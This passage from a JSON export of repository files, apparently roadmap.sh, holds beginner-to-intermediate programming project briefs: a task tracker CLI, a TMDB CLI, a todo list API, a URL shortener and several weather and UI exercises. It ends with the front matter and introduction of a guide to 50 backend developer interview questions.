inputs.\n- Use a JSON file to store the tasks in the current directory.\n- The JSON file should be created if it does not exist.\n- Use the native file system module of your programming language to interact with the JSON file.\n- Do not use any external libraries or frameworks to build this project.\n- Ensure to handle errors and edge cases gracefully.\n\n### Example\n\nThe list of commands and their usage is given below:\n\n```bash\n# Adding a new task\ntask-cli add \"Buy groceries\"\n# Output: Task added successfully (ID: 1)\n\n# Updating and deleting tasks\ntask-cli update 1 \"Buy groceries and cook dinner\"\ntask-cli delete 1\n\n# Marking a task as in progress or done\ntask-cli mark-in-progress 1\ntask-cli mark-done 1\n\n# Listing all tasks\ntask-cli list\n\n# Listing tasks by status\ntask-cli list done\ntask-cli list todo\ntask-cli list in-progress\n```\n\n### Task Properties\n\nEach task should have the following properties:\n\n- `id`: A unique identifier for the task\n- `description`: A short description of the task\n- `status`: The status of the task (`todo`, `in-progress`, `done`)\n- `createdAt`: The date and time when the task was created\n- `updatedAt`: The date and time when the task was last updated\n\nMake sure to add these properties to the JSON file when adding a new task and update them when updating a task.\n\n<hr />\n\n## Getting Started\n\nHere are a few steps to help you get started with the Task Tracker CLI project:\n\n### Set Up Your Development Environment\n\n- Choose a programming language you are comfortable with (e.g., Python, JavaScript, etc.).\n- Ensure you have a code editor or IDE installed (e.g., VSCode, PyCharm).\n\n### Project Initialization\n\n- Create a new project directory for your Task Tracker CLI.\n- Initialize a version control system (e.g., Git) to manage your project.\n\n### Implementing Features\n\n- Start by creating a basic CLI structure to handle user inputs.\n- Implement each feature one by one, ensuring to test thoroughly before moving to the next e.g. implement adding task functionality first, listing next, then updating, marking as in progress, etc.\n\n### Testing and Debugging\n\n- Test each feature individually to ensure they work as expected. Look at the JSON file to verify that the tasks are being stored correctly.\n- Debug any issues that arise during development.\n\n### Finalizing the Project\n\n- Ensure all features are implemented and tested.\n- Clean up your code and add comments where necessary.\n- Write a good readme file on how to use your Task Tracker CLI.\n\n<hr />\n\nBy the end of this project, you will have developed a practical tool that can help you or others manage tasks efficiently. This project lays a solid foundation for more advanced programming projects and real-world applications.\n\nHappy coding!\n"
  },
  {
    "path": "src/data/projects/temperature-converter.md",
    "content": "---\ntitle: Temperature Converter\ndescription: Build a temperature converter that converts between different units.\nisNew: false\nsort: 27\ndifficulty: intermediate\nnature: JavaScript\nskills:\n  - HTML\n  - CSS\n  - JavaScript\n  - DOM Manipulation\nseo:\n  - title: Build a Temperature Converter with JavaScript\n  - description: Learn how to create an interactive temperature converter that converts between Celsius, Fahrenheit, and Kelvin using JavaScript.\n  - keywords:\n    - 'temperature converter'\n    - 'javascript project'\n    - 'unit conversion'\n    - 'html and css'\nroadmapIds:  \n  - 'frontend'\n---\n\nThis project is designed to help you practice DOM manipulation, form handling, and basic calculations in JavaScript.\n\nYou will create a temperature converter that allows users to enter a temperature value, select the unit they want to convert from, and select the unit they want to convert to. The \"Convert\" button should only be enabled when all three fields are filled in. Once the user clicks \"Convert,\" the tool will display the converted temperature below the form.\n\nHere is a mockup of what the temperature converter might look like:\n\n[![Temperature Converter](https://assets.roadmap.sh/guest/temperature-converter-8omel.png)](https://assets.roadmap.sh/guest/temperature-converter-8omel.png)\n\nThis project will help you gain experience with handling user input, conditionally enabling form elements, and performing simple calculations using JavaScript."
  },
  {
    "path": "src/data/projects/testimonial-cards.md",
    "content": "---\ntitle: 'Testimonial Cards'  \ndescription: 'Create testimonial cards for a website using HTML and CSS.'  \nisNew: false  \nsort: 5  \ndifficulty: 'beginner'  \nnature: 'CSS'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'Layouts'  \n  - 'Flexbox'\n  - 'Positioning'\nseo:  \n  title: 'Create Testimonial Cards for a Website Using HTML and CSS'  \n  description: 'Learn how to create testimonial components using HTML and CSS.'  \n  keywords:  \n    - 'basic css'  \n    - 'css project idea'  \n    - 'responsive design'  \n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nIn this project, you are required to create a bunch of testimonial cards. Testimonials are quotes or statements from satisfied customers or users, often used on websites to build credibility and trust.\n\nThe goal of this project is to teach you about positioning and layout in CSS. Below is a rough mockup showing some testimonial cards. Each card is designed to help you understand different layout and positioning techniques.\n\n[![Testimonials Component](https://assets.roadmap.sh/guest/testimonials-min-3j2j4.png)](https://assets.roadmap.sh/guest/testimonials-min-3j2j4.png)\n\nFeel free to use any content and images you like for the testimonials.\n\n---\n\nAfter completing this project, you will have a good understanding of how to create layouts using HTML and CSS. You can further enhance your skills by exploring more complex projects as you progress."
  },
  {
    "path": "src/data/projects/tmdb-cli.md",
    "content": "---\ntitle: 'TMDB CLI Tool'\ndescription: 'Use TMDB API to fetch movie information and display it in the terminal.'\nisNew: false\nsort: 1100\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'CLI'\n  - 'API Consumption'\nseo:\n  title: 'TMDB CLI Tool'\n  description: 'Build a command line interface (CLI) to fetch and display common TMDB requests.'\n  keywords:\n    - 'tmdb user activity cli'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nIn this project, you will build a simple command line interface (CLI) to fetch data from The Movie Database (TMDB) and display it in the terminal. This project will help you practice your programming skills, including working with APIs, handling JSON data, and building a simple CLI application.\n\n## Requirements\n\nThe application should run from the command line, and be able to pull and show the popular, top-rated, upcoming and now playing movies from the TMDB API. The user should be able to specify the type of movies they want to see by passing a command line argument to the CLI tool.\n\nHere is how the CLI tool usage should look like:\n\n```bash\ntmdb-app --type \"playing\"\ntmdb-app --type \"popular\"\ntmdb-app --type \"top\"\ntmdb-app --type \"upcoming\"\n```\n\nYou can look at the API documentation to understand how to fetch the data for each type of movie.\n\n- [Now Playing Movies](https://developer.themoviedb.org/reference/movie-now-playing-list)\n- [Popular Movies](https://developer.themoviedb.org/reference/movie-popular-list)\n- [Top Rated Movies](https://developer.themoviedb.org/reference/movie-top-rated-list)\n- [Upcoming Movies](https://developer.themoviedb.org/reference/movie-upcoming-list)\n\nThere are some considerations to keep in mind:\n\n- Handle errors gracefully, such as API failures or network issues.\n- Use a programming language of your choice to build this project.\n- Make sure to include a README file with instructions on how to run the application and any other relevant information.\n"
  },
  {
    "path": "src/data/projects/todo-list-api.md",
    "content": "---\ntitle: 'Todo List API'\ndescription: 'Build a RESTful API to allow users to manage their to-do list.'\nisNew: false\nsort: 900\ndifficulty: 'beginner'\nnature: 'API'\nskills:\n  - 'RESTful API'\n  - 'Database'\n  - 'CRUD Operations'\n  - 'Data Modeling'\n  - 'Authentication'\nseo:\n  title: 'Todo List API Project Idea'\n  description: 'Build a RESTful API to allow users to manage their to-do list.'\n  keywords:\n    - 'todo list api'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nIn this project you are required to develop a RESTful API to allow users to manage their to-do list. The previous backend projects have only focused on the CRUD operations, but this project will require you to implement user authentication as well.\n\n![Todo List API](https://assets.roadmap.sh/guest/todo-list-api-bsrdd.png)\n\n## Goals\n\nThe skills you will learn from this project include:\n\n- User authentication\n- Schema design and Databases\n- RESTful API design\n- CRUD operations\n- Error handling\n- Security\n\n## Requirements\n\nYou are required to develop a RESTful API with following endpoints\n\n- User registration to create a new user\n- Login endpoint to authenticate the user and generate a token\n- CRUD operations for managing the to-do list\n- Implement user authentication to allow only authorized users to access the to-do list\n- Implement error handling and security measures\n- Use a database to store the user and to-do list data (you can use any database of your choice)\n- Implement proper data validation\n- Implement pagination and filtering for the to-do list\n\nGiven below is a list of the endpoints and the details of the request and response:\n\n### User Registration\n\nRegister a new user using the following request:\n\n```\nPOST /register\n{\n  \"name\": \"John Doe\",\n  \"email\": \"john@doe.com\",\n  \"password\": \"password\"\n}\n```\n\nThis will validate the given details, make sure the email is unique and store the user details in the database. Make sure to hash the password before storing it in the database. Respond with a token that can be used for authentication if the registration is successful.\n\n```json\n{\n  \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"\n}\n```\n\nThe token can either be a JWT or a random string that can be used for authentication. We leave it up to you to decide the implementation details.\n\n### User Login\n\nAuthenticate the user using the following request:\n\n```\nPOST /login\n{\n  \"email\": \"john@doe.com\",\n  \"password\": \"password\"\n}\n```\n\nThis will validate the given email and password, and respond with a token if the authentication is successful.\n\n```json\n{\n  \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"\n}\n```\n\n### Create a To-Do Item\n\nCreate a new to-do item using the following request:\n\n```\nPOST /todos\n{\n  \"title\": \"Buy groceries\",\n  \"description\": \"Buy milk, eggs, and bread\"\n}\n```\n\nUser must send the token received from the login endpoint in the header to authenticate the request. You can use the `Authorization` header with the token as the value. In case the token is missing or invalid, respond with an error and status code 401.\n\n```json\n{\n  \"message\": \"Unauthorized\"\n}\n```\n\nUpon successful creation of the to-do item, respond with the details of the created item.\n\n```json\n{\n  \"id\": 1,\n  \"title\": \"Buy groceries\",\n  \"description\": \"Buy milk, eggs, and bread\"\n}\n```\n\n### Update a To-Do Item\n\nUpdate an existing to-do item using the following request:\n\n```\nPUT /todos/1\n{\n  \"title\": \"Buy groceries\",\n  \"description\": \"Buy milk, eggs, bread, and cheese\"\n}\n```\n\nJust like the create todo endpoint, user must send the token received. Also make sure to validate the user has the permission to update the to-do item i.e. the user is the creator of todo item that they are updating. Respond with an error and status code `403` if the user is not authorized to update the item.\n\n```json\n{\n  \"message\": \"Forbidden\"\n}\n```\n\nUpon successful update of the to-do item, respond with the updated details of the item.\n\n```json\n{\n  \"id\": 1,\n  \"title\": \"Buy groceries\",\n  \"description\": \"Buy milk, eggs, bread, and cheese\"\n}\n```\n\n### Delete a To-Do Item\n\nDelete an existing to-do item using the following request:\n\n```\nDELETE /todos/1\n```\n\nUser must be authenticated and authorized to delete the to-do item. Upon successful deletion, respond with the status code `204`.\n\n### Get To-Do Items\n\nGet the list of to-do items using the following request:\n\n```\nGET /todos?page=1&limit=10\n```\n\nUser must be authenticated to access the tasks and the response should be paginated. Respond with the list of to-do items along with the pagination details.\n\n```json\n{\n  \"data\": [\n    {\n      \"id\": 1,\n      \"title\": \"Buy groceries\",\n      \"description\": \"Buy milk, eggs, bread\"\n    },\n    {\n      \"id\": 2,\n      \"title\": \"Pay bills\",\n      \"description\": \"Pay electricity and water bills\"\n    }\n  ],\n  \"page\": 1,\n  \"limit\": 10,\n  \"total\": 2\n}\n```\n\n## Bonus\n\n- Implement filtering and sorting for the to-do list\n- Implement unit tests for the API\n- Implement rate limiting and throttling for the API\n- Implement refresh token mechanism for the authentication\n\n<hr />\n\nThis project will help you understand how to design and implement a RESTful API with user authentication. You will also learn how to work with databases, handle errors, and implement security measures.\n"
  },
  {
    "path": "src/data/projects/tooltip-ui.md",
    "content": "---\ntitle: 'Tooltip UI'  \ndescription: 'Create a tooltip for navigation items using only HTML and CSS.'  \nisNew: false  \nsort: 9  \ndifficulty: 'beginner'  \nnature: 'CSS'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'Positioning'\n  - 'Hover Effects'\nseo:  \n  title: 'Create a CSS Tooltip for Navigation Items'  \n  description: 'Learn how to create a tooltip that appears above navigation items on hover using only HTML and CSS.'  \n  keywords:  \n    - 'css tooltip'\n    - 'hover effects'\n    - 'navigation menu'\n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nIn this project, you are required to create a tooltip that appears above navigation items when hovered, using only HTML and CSS. A tooltip is a small pop-up box that provides additional information about a navigation item when a user hovers over it. This project will focus on mastering CSS positioning, hover effects, and creating visually appealing tooltips without relying on JavaScript.\n\nThe goal of this project is to help you understand how to use CSS for dynamic UI effects. You will learn how to position elements relative to each other, create smooth transitions, and make your navigation more interactive and user-friendly. Below is a rough mockup showing the tooltip appearing above a navigation item.\n\n[![Tooltip Mockup](https://assets.roadmap.sh/guest/tooltip-zh8gm.png)](https://assets.roadmap.sh/guest/tooltip-zh8gm.png)\n\nBonus points for different animations for the tooltip, such as fade-in, slide-in, or scale-in effects.\n\nAfter completing this project, you will have a better understanding of CSS positioning, hover effects, and creating interactive UI elements without JavaScript."
  },
  {
    "path": "src/data/projects/unit-converter.md",
    "content": "---\ntitle: 'Unit Converter'\ndescription: 'Unit converter to convert between different units of measurement.'\nisNew: false\nsort: 500\ndifficulty: 'beginner'\nnature: 'Web App'\nskills:\n  - 'Programming Language'\n  - 'HTML'\n  - 'Server'\n  - 'Logic Building'\nseo:\n  title: 'Unit Converter'\n  description: 'Build a Unit Converter to convert between different units of measurement.'\n  keywords:\n    - 'unit converter'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to build a simple web app that can convert between different units of measurement. It can convert units of length, weight, volume, area, temperature, and more. The user can input a value and select the units to convert from and to. The application will then display the converted value.\n\n## Requirements\n\nBuild a simple web page that will have different sections for different units of measurement. The user can input a value to convert, select the units to convert from and to, and view the converted value.\n\n- The user can input a value to convert.\n- The user can select the units to convert from and to.\n- The user can view the converted value.\n- The user can convert between different units of measurement like length, weight, temperature, etc (more given below).\n\nYou can include the following units of measurement to convert between:\n\n- Length: millimeter, centimeter, meter, kilometer, inch, foot, yard, mile.\n- Weight: milligram, gram, kilogram, ounce, pound.\n- Temperature: Celsius, Fahrenheit, Kelvin.\n\n## How it works\n\nYou don't need to use any database for this project. There will be a simple webpage that will submit the form to the server and get the converted value back and display it on the webpage.\n\n![Unit Converter](https://assets.roadmap.sh/guest/unit-converter-be-project.png)\n\nYou can have 3 webpages for each type of unit conversion (length, weight, temperature) with forms to input the value and select the units to convert from and to. Submitting a form will submit the data to the current page (i.e. `target=\"_self\"`) and display the converted value. You can do this using the backend programming language of your choice i.e. check if the form is submitted and then calculate the converted value and display it on the webpage, if not submitted then display the form.\n\n"
  },
  {
    "path": "src/data/projects/url-shortening-service.md",
    "content": "---\ntitle: 'URL Shortening Service'\ndescription: 'Build a URL Shortener API that helps shorten long URLs.'\nisNew: false\nsort: 1400\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Database Indexing'\n  - 'HTTP Redirects'\nseo:\n  title: 'URL Shortening Service Project Idea'\n  description: 'Build a URL Shortener API that helps shorten long URLs.'\n  keywords:\n    - 'url shortening service'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to create a simple RESTful API that allows users to shorten long URLs. The API should provide endpoints to create, retrieve, update, and delete short URLs. It should also provide statistics on the number of times a short URL has been accessed.\n\n![URL Shortening Service](https://assets.roadmap.sh/guest/url-shortener-architecture-u72mu.png)\n\n## Requirements\n\nYou should create a RESTful API for a URL shortening service. The API should allow users to perform the following operations:\n\n- Create a new short URL\n- Retrieve an original URL from a short URL\n- Update an existing short URL\n- Delete an existing short URL\n- Get statistics on the short URL (e.g., number of times accessed)\n\nYou can optionally setup a minimal frontend to interact with the API and setup redirects for the short URLs to the original URLs.\n\n## API Endpoints\n\nGiven below are the details for each API operation.\n\n### Create Short URL\n\nCreate a new short URL using the `POST` method\n\n```plaintext\nPOST /shorten\n{\n  \"url\": \"https://www.example.com/some/long/url\"\n}\n```\n\nThe endpoint should validate the request body and return a `201 Created` status code with the newly created short URL i.e.\n\n```json\n{\n  \"id\": \"1\",\n  \"url\": \"https://www.example.com/some/long/url\",\n  \"shortCode\": \"abc123\",\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:00:00Z\"\n}\n```\n\nor a `400 Bad Request` status code with error messages in case of validation errors. Short codes must be unique and should be generated randomly.\n\n## Retrieve Original URL\n\nRetrieve the original URL from a short URL using the `GET` method\n\n```plaintext\nGET /shorten/abc123\n```\n\nThe endpoint should return a `200 OK` status code with the original URL i.e.\n\n```json\n{\n  \"id\": \"1\",\n  \"url\": \"https://www.example.com/some/long/url\",\n  \"shortCode\": \"abc123\",\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:00:00Z\"\n}\n```\n\nor a `404 Not Found` status code if the short URL was not found. Your frontend should be responsible for retrieving the original URL using the short URL and redirecting the user to the original URL.\n\n## Update Short URL\n\nUpdate an existing short URL using the `PUT` method\n\n```plaintext\nPUT /shorten/abc123\n{\n  \"url\": \"https://www.example.com/some/updated/url\"\n}\n```\n\nThe endpoint should validate the request body and return a `200 OK` status code with the updated short URL i.e.\n\n```json\n{\n  \"id\": \"1\",\n  \"url\": \"https://www.example.com/some/updated/url\",\n  \"shortCode\": \"abc123\",\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:30:00Z\"\n}\n```\n\nor a `400 Bad Request` status code with error messages in case of validation errors. It should return a `404 Not Found` status code if the short URL was not found.\n\n### Delete Short URL\n\nDelete an existing short URL using the `DELETE` method\n\n```plaintext\nDELETE /shorten/abc123\n```\n\nThe endpoint should return a `204 No Content` status code if the short URL was successfully deleted or a `404 Not Found` status code if the short URL was not found.\n\n### Get URL Statistics\n\nGet statistics for a short URL using the `GET` method\n\n```plaintext\nGET /shorten/abc123/stats\n```\n\nThe endpoint should return a `200 OK` status code with the statistics i.e.\n\n```json\n{\n  \"id\": \"1\",\n  \"url\": \"https://www.example.com/some/long/url\",\n  \"shortCode\": \"abc123\",\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:00:00Z\",\n  \"accessCount\": 10\n}\n```\n\nor a `404 Not Found` status code if the short URL was not found.\n\n<hr />\n\n## Tech Stack\n\nFeel free to use any programming language, framework, and database of your choice for this project. Here are some suggestions:\n\n- If you are using JavaScript, you can use Node.js with Express.js\n- If you are using Python, you can use Flask or Django\n- If you are using Java, you can use Spring Boot\n- If you are using Ruby, you can use Ruby on Rails\n\nFor databases, you can use:\n\n- MySQL if you are using SQL\n- MongoDB if you are using NoSQL\n\nYour job is to implement the core functionality of the API, focusing on creating, retrieving, updating, and deleting short URLs, as well as tracking and retrieving access statistics. You don't have to implement authentication or authorization for this project."
  },
  {
    "path": "src/data/projects/weather-api-wrapper-service.md",
    "content": "---\ntitle: 'Weather API'\ndescription: 'Build a weather API that fetches and returns weather data.'\nisNew: false\nsort: 700\ndifficulty: 'beginner'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - '3rd Party APIs'\n  - 'Caching'\n  - 'Environment Variables'\nseo:\n  title: 'Weather API Project Idea'\n  description: 'Build a weather API that fetches and returns weather data from a 3rd party API.'\n  keywords:\n    - 'weather api'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nIn this project, instead of relying on our own weather data, we will build a weather API that fetches and returns weather data from a 3rd party API. This project will help you understand how to work with 3rd party APIs, caching, and environment variables.\n\n![Weather API](https://assets.roadmap.sh/guest/weather-api-f8i1q.png)\n\nAs for the actual weather API to use, you can use your favorite one, as a suggestion, here is a link to [Visual Crossing’s API](https://www.visualcrossing.com/weather-api), it’s completely FREE and easy to use.\n\nRegarding the in-memory cache, a pretty common recommendation is to use [Redis](https://redis.io/), you can read more about it [here](https://redis.io/docs/latest/develop/clients/client-side-caching/), and as a recommendation, you could use the city code entered by the user as the key, and save there the result from calling the API.\n\nAt the same time, when you “set” the value in the cache, you can also give it an expiration time in seconds (using the `EX` flag on the `SET` command). That way the cache (the keys) will automatically clean itself when the data is old enough (for example, giving it a 12-hours expiration time).\n\n<hr />\n\n## Some Tips\n\nHere are some tips to help you get started:\n\n- Start by creating a simple API that returns a hardcoded weather response. This will help you understand how to structure your API and how to handle requests.\n- Use environment variables to store the API key and the Redis connection string. This way, you can easily change them without having to modify your code.\n- Make sure to handle errors properly. If the 3rd party API is down, or if the city code is invalid, make sure to return the appropriate error message.\n- Use some package or module to make HTTP requests e.g. if you are using Node.js, you can use the `axios` package, if you are using Python, you can use the `requests` module.\n- Implement rate limiting to prevent abuse of your API. You can use a package like `express-rate-limit` if you are using Node.js or `flask-limiter` if you are using Python.\n\nThis project will help you understand how to work with 3rd party APIs, caching, and environment variables. It will also help you understand how to structure your API and how to handle requests.\n"
  },
  {
    "path": "src/data/projects/weather-app.md",
    "content": "---\ntitle: 'Weather Web App'\ndescription: 'Build a weather app that fetches and displays weather for a given location.'\nisNew: false\nsort: 31\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - '3rd Party APIs'\n  - 'JavaScript'\n  - 'HMTL'\n  - 'CSS'\nseo:\n  title: 'Weather App Project Idea'\n  description: 'Build a web-based weather app that fetches and displays weather data.'\n  keywords:\n    - 'weather api'\n    - 'frontend project idea'\nroadmapIds:\n  - 'frontend'\n---\n\nIn this project you are required to build a weather app that displays the current weather details based on the location entered by the user. We will be leveraging a common weather API to achieve this.\n\nYou can use the [Visual Crossing Weather API](https://www.visualcrossing.com/weather-api) to fetch the weather data.\n\n## Requirements\n\n- The User should be able to enter a location into an input field\n- The User will be presented with temperature, wind speed, likelihood of rain, and general weather i.e. Sunny, Raining, Cloudy etc.\n- The User will be shown the previous and future 24 hour periods.\n- The weather outlook can be refreshed by the user.\n\n## Stretch Goals\n\n- Animation libraries such as framer can be used to make the loading of weather more visually appealing\n- The default weather view is the Users current location.\n"
  },
  {
    "path": "src/data/question-groups/backend/backend.md",
    "content": "---\norder: 4\nbriefTitle: 'Backend'\nbriefDescription: 'Test, Rate and Improve your Backend knowledge with these questions.'\ntitle: '50 Popular Backend Developer Interview Questions and Answers'\ndescription: 'Test, Rate and Improve your Backend knowledge with these questions.'\nauthorId: 'fernando'\nisNew: false\ndate: 2024-05-24\nseo:\n  title: '50 Popular Backend Developer Interview Questions and Answers'\n  description: 'Nail your backend developer interview with these 50 popularly asked questions and answers. Test your knowledge with our quiz cards!'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/backend-developer-interview-questions-pm9jx.jpg'\n  keywords:\n    - 'backend quiz'\n    - 'backend questions'\n    - 'backend interview questions'\n    - 'backend interview'\n    - 'backend test'\nrelatedTitle: \"Other Guides\"\nrelatedGuidesId: \"backend\"\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: Explain what an API endpoint is?\n    answer: api-endpoint.md\n    topics:\n      - 'Beginner'\n  - question: Can you explain the difference between SQL and NoSQL databases?\n    answer: sql-vs-nosql.md\n    topics:\n      - 'Beginner'\n  - question: What is a RESTful API, and what are its core principles?\n    answer: rest-core-principles.md\n    topics:\n      - 'Beginner'\n  - question: Can you describe a typical HTTP request/response cycle?\n    answer: http-request-response-cycle.md\n    topics:\n      - 'Beginner'\n  - question: How would you handle file uploads in a web application?\n    answer: file-uploads.md\n    topics:\n      - 'Beginner'\n  - question: What kind of tests would you write for a new API endpoint?\n    answer: api-tests.md\n    topics:\n      - 'Beginner'\n  - question: Describe how session management works in web applications\n    answer: session-management.md\n    topics:\n      - 'Beginner'\n  - question: How do you approach API versioning in your projects?\n    answer: api-versioning.md\n    topics:\n      - 'Beginner'\n  - question: How do you protect a server from SQL injection attacks?\n    answer: protect-sql-injection.md\n    topics:\n      - 'Beginner'\n  - question: Explain the concept of statelessness in HTTP and how it impacts backend services\n    answer: statelessness-http.md\n    topics:\n      - 'Beginner'\n  - question: What is containerization, and how does it benefit backend development?\n    answer: containerization.md\n    topics:\n      - 'Beginner'\n  - question: What measures would you take to secure a newly developed API?\n    answer: secure-api.md\n    topics:\n      - 'Beginner'\n  - question: How would you scale a backend application during a traffic surge?\n    answer: scale-backend.md\n    topics:\n      - 'Beginner'\n  - question: What tools and techniques do you use for debugging a backend application?\n    answer: debugging-backend.md\n    topics:\n      - 'Beginner'\n  - question: How do you ensure your backend code is maintainable and easy to understand?\n    answer: maintainable-code.md\n    topics:\n      - 'Beginner'\n  - question: Describe how you would implement a full-text search in a database.\n    answer: fulltext-search.md\n    topics:\n      - 'Intermediate'\n  - question: How would you approach batch processing in a data-heavy backend application?\n    answer: batch-processing.md\n    topics:\n      - 'Intermediate'\n  - question: Can you explain the use and benefits of a message queue in a distributed system?\n    answer: message-queue.md\n    topics:\n      - 'Intermediate'\n  - question: What strategies would you use to manage database connections in a high-load scenario?\n    answer: db-connections.md\n    topics:\n      - 'Intermediate'\n  - question: How would you set up a continuous integration/continuous deployment (CI/CD) pipeline for backend services?\n    answer: ci-cd.md\n    topics:\n      - 'Intermediate'\n  - question: Can you describe a distributed caching strategy for a high-availability application?\n    answer: distributed-caching.md\n    topics:\n      - 'Intermediate'\n  - question: What methods can you use for managing background tasks in your applications?\n    answer: bg-tasks.md\n    topics:\n      - 'Intermediate'\n  - question: How do you handle data encryption and decryption in a privacy-focused application?\n    answer: data-encryption.md\n    topics:\n      - 'Intermediate'\n  - question: What are webhooks and how have you implemented them in past projects?\n    answer: webhooks.md\n    topics:\n      - 'Intermediate'\n  - question: What considerations must be taken into account for GDPR compliance in a backend system?\n    answer: gdpr-compliance.md\n    topics:\n      - 'Intermediate'\n  - question: Explain how you would deal with long-running processes in web requests.\n    answer: long-running.md\n    topics:\n      - 'Intermediate'\n  - question: Discuss the implementation of rate limiting to protect APIs from abuse.\n    answer: rate-limiting.md\n    topics:\n      - 'Intermediate'\n  - question: How do you instrument and monitor the performance of backend applications?\n    answer: instrument-monitor.md\n    topics:\n      - 'Intermediate'\n  - question: What are microservices, and how would you decompose a monolith into microservices?\n    answer: decompose-microservices.md\n    topics:\n      - 'Intermediate'\n  - question: How have you managed API dependencies in backend systems?\n    answer: api-dependencies.md\n    topics:\n      - 'Intermediate'\n  - question: Describe the concept of eventual consistency and its implications in backend systems.\n    answer: eventual-consistency.md\n    topics:\n      - 'Intermediate'\n  - question: What is a reverse proxy, and how is it useful in backend development?\n    answer: reverse-proxy.md\n    topics:\n      - 'Intermediate'\n  - question: How would you handle session state in a load-balanced application environment?\n    answer: load-balanced-session.md\n    topics:\n      - 'Intermediate'\n  - question: What is database replication, and how can it be used for fault tolerance?\n    answer: fault-tolerance.md\n    topics:\n      - 'Advanced'\n  - question: Describe the use of blue-green deployment strategy in backend services\n    answer: blue-green-deployment.md\n    topics:\n      - 'Advanced'\n  - question: Can you explain the consistency models in distributed databases (e.g., CAP theorem)?\n    answer: cap-theorem.md\n    topics:\n      - 'Advanced'\n  - question: How do you manage schema migrations in a continuous delivery environment?\n    answer: schema-migrations.md\n    topics:\n      - 'Advanced'\n  - question: What strategies exist for handling idempotency in REST API design?\n    answer: idempotency.md\n    topics:\n      - 'Advanced'\n  - question: Describe the implementation of a single sign-on (SSO) solution\n    answer: sso.md\n    topics:\n      - 'Advanced'\n  - question: Explain how you would develop a backend system for handling IOT device data streams\n    answer: iot-streams.md\n    topics:\n      - 'Advanced'\n  - question: How would you architect a backend to support real-time data synchronization across devices?\n    answer: realtime-data-sync.md\n    topics:\n      - 'Advanced'\n  - question: Discuss the benefits and drawbacks of microservice architectures in backend systems.\n    answer: benefits-drawbacks-microservices.md\n    topics:\n      - 'Advanced'\n  - question: How would you approach load testing a backend API?\n    answer: load-testing-api.md\n    topics:\n      - 'Advanced'\n  - question: Describe how you would implement a server-side cache eviction strategy.\n    answer: cache-eviction.md\n    topics:\n      - 'Advanced'\n  - question: What are correlation IDs, and how can they be used for tracing requests across services?\n    answer: correlation-ids.md\n    topics:\n      - 'Advanced'\n  - question: Explain the difference between optimistic and pessimistic locking and when to use each\n    answer: optimistic-vs-pessimistic.md\n    topics:\n      - 'Advanced'\n  - question: What methods would you use to prevent deadlocks in database transactions?\n    answer: deadlock-db-transaction.md\n    topics:\n      - 'Advanced'\n  - question: How would you secure inter-service communication in a microservices architecture?\n    answer: secure-interservice.md\n    topics:\n      - 'Advanced'\n  - question: Discuss techniques for preventing and detecting data anomalies in large-scale systems\n    answer: anomaly-detection.md\n    topics:\n      - 'Advanced'\n  - question: Describe the process of creating a global, high-availability data storage solution for a multinational application.\n    answer: high-available-storage.md\n    topics:\n      - 'Advanced'\n---\n\n![The best backend interview questions to prepare for.](https://assets.roadmap.sh/guest/backend-developer-interview-questions-pm9jx.jpg)\n\nGetting ready for a software developer interview is never easy, especially if you’re new to the main tech stack of the company. This is why understanding the type of questions you might get asked during a technical interview is one of the keys to success.\n\nIn this article, we’ll go over 50 popular backend interview questions ordered by experience level.\n\nFor each question, we’ll provide some explanations, but feel free to further research each topic in detail, or go to the [Backend Roadmap](https://roadmap.sh/backend) if you’re looking for a place to get started in your learning journey.\n\n## Preparing for your Backend interview\n\nBefore we get started, it’s important to remember the following points when getting ready for your backend technical interview:\n\n- Cover the basics of backend development. If you’re going for a web dev role, make sure you understand how client-server communication works. If you’re going for a dev tool development, understand the best practices around CLI development, etc.\n- Practice coding, either by completing [projects](https://roadmap.sh/backend/projects) or by using sites such as [LeetCode](https://leetcode.com), [HackerRank](https://hackerrank.com), and others.\n- Consider reading up on software architecture; even if your role won’t be that of an architect, you’ll show understanding on a higher level by being able to discuss these topics.\n- Make sure you have, at least, a basic understanding of most of the foundational layer of tools and practices for your role, such as version management (i.e. using Git), testing (as in unit testing at least), [DevOps](https://roadmap.sh/devops) (including CI/CD pipelines, etc.), and anything else related to your role and the company.\n- On a more general note, remember to read up on the company to be able to show interest and understanding of their business/product and also come prepared with a couple of questions of your own, showing you care about the role and the company.\n\nWith that said, let’s now focus on the list of backend interview questions that you may be asked when applying for a backend development role!\n"
  },
  {
